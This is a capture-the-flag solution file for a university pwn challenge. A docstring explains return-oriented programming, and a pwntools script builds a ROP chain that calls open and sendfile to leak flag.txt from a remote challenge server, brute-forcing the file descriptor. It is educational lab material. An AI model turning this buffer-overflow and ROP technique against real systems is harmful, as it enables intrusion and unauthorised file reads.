-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrest_on_pieces_rop_50.py
More file actions
157 lines (114 loc) · 4.59 KB
/
Copy pathrest_on_pieces_rop_50.py
File metadata and controls
157 lines (114 loc) · 4.59 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
"""
# #9 Rest on Pieces (ROP)
## Type
Pwn
## Vulnerability type
Return Oriented Programming (ROP)
## Description
ROP is a technique that allows to execute arbitrary code by chaining together short sequences of instructions already present in the binary.
## Explaination
For this challenge, the idea is to examine the instructions of the binary and find a sequence that allows extracting the flag.
A first analysis can be performed using gdb to disassemble the binary.
First, use `info functions` to verify that there is an extra function called gadgets.
Disassembling this function reveals some interesting instructions such as `pop rdi; ret;`, `pop rdx; ret;`, `pop rsi; ret;`, and `pop r10; ret;`.
However, there is no `pop rax ...` instruction, but there are `mov rax, 0x28; syscall;` and `mov rax, 2; syscall;`.
According to the [Linux syscall table](https://filippo.io/linux-syscall-table/), `2` corresponds to the open function and `0x28` (`40`) corresponds to the sendfile function in C.
We can use `open` to get a file descriptor of the file we want to read and then use `sendfile` to send its content to the file descriptor of the standard output (stdout, which is 1).
The only problem is that there is no apparent instruction to specify the name of the file to read.
However, by examining the strings inside the file, it is possible to find `flag.txt`, indicating that somewhere in the binary, there is a variable containing the file name.
We just need to extract its address to use it in the open function. This can be done using tools such as Ghidra or gdb. With gdb, you can do something like:
```bash
$ gdb bin
gef> b main # 0x0000000000401191
gef> run
gef> info proc map # Here, take the min and max addresses of the binary
gef> find <MIN ADDRESS>, <MAX ADDRESS>, "flag.txt"
```
Alternatively, if you already know the name of the variable (in this case `filename`), you can use:
```bash
$ readelf -s bin | grep filename | awk '{print $2}'
```
It is also important to know the offset between our input and the return instruction of the main function since we are overwriting it with our payload.
To determine this, you can use gdb (see previous challenges).
Now we have everything to exploit the binary.
Create a payload with a number of characters equal to the offset and then build the instructions for calling and executing `open` and `sendfile` (see references for better understanding of how to build them).
"""
from pwn import *
if __name__ == "__main__":
# NOTE: here is where the "flag.txt" is written
flag_txt = p64(0x0000000000404020) #type: ignore
# NOTE: these are the gadgets retrieved using:
# ropper -f bin --search "pop rdi"
# ropper -f bin --search "pop rdx"
# ropper -f bin --search "pop rsi"
# ropper -f bin --search "pop r10"
pop_rdi = p64(0x0000000000401196) #type: ignore
pop_rdx = p64(0x000000000040119a) #type: ignore
pop_rsi = p64(0x0000000000401198) #type: ignore
pop_r10 = p64(0x000000000040119c) #type: ignore
# NOTE: ref https://filippo.io/linux-syscall-table/
# NOTE: OPEN
# %rdi filename
# %rdx flags
# %rdx mode
syscall_open = p64(0x000000000040119f) #type: ignore
# NOTE: SENDFILE
# %rdi output file descriptor
# %rdx input file descriptor
# %rdx offset
# %r10 size
syscall_sendfile = p64(0x00000000004011a9) #type: ignore
# NOTE: offset
# gdb bin
# gef> b *0x0000000000401191 (return address of main)
# gef> pattern create 100
# gef> run
# ... insert pattern ...
# gef> x/gx $rsp
# gef> pattern search ...
offset = 72
payload = b"A" * offset
#? OPEN FLAG.TXT
# path name
payload += pop_rdi
payload += flag_txt
# flags (0 = read)
payload += pop_rsi
payload += p64(0) #type: ignore
# mode (0 = none)
payload += pop_rdx
payload += p64(0) #type: ignore
# OPEN
payload += syscall_open
# Start from 3 because 0,1,2 are busy because used by stdin, stdout, stderr
# The file descriptor generated by open is not known.
# It is necessary to brute force it
file_descriptor = 3
while True:
#? SENDFILE FLAG.TXT
final_payload = payload
# send to stdout
final_payload += pop_rdi
final_payload += p64(1) #type: ignore
# input descriptor
final_payload += pop_rsi
final_payload += p64(file_descriptor) #type: ignore
# offset
final_payload += pop_rdx
final_payload += p64(0) #type: ignore
# size
final_payload += pop_r10
final_payload += p64(100) #type: ignore
# SENDFILE
final_payload += syscall_sendfile
r = remote("cyberchallenge.disi.unitn.it", 50260)
r.sendline(final_payload)
try:
flag = r.recvline().decode().strip()
print(flag)
break
except:
pass
finally:
r.close()
file_descriptor = file_descriptor + 1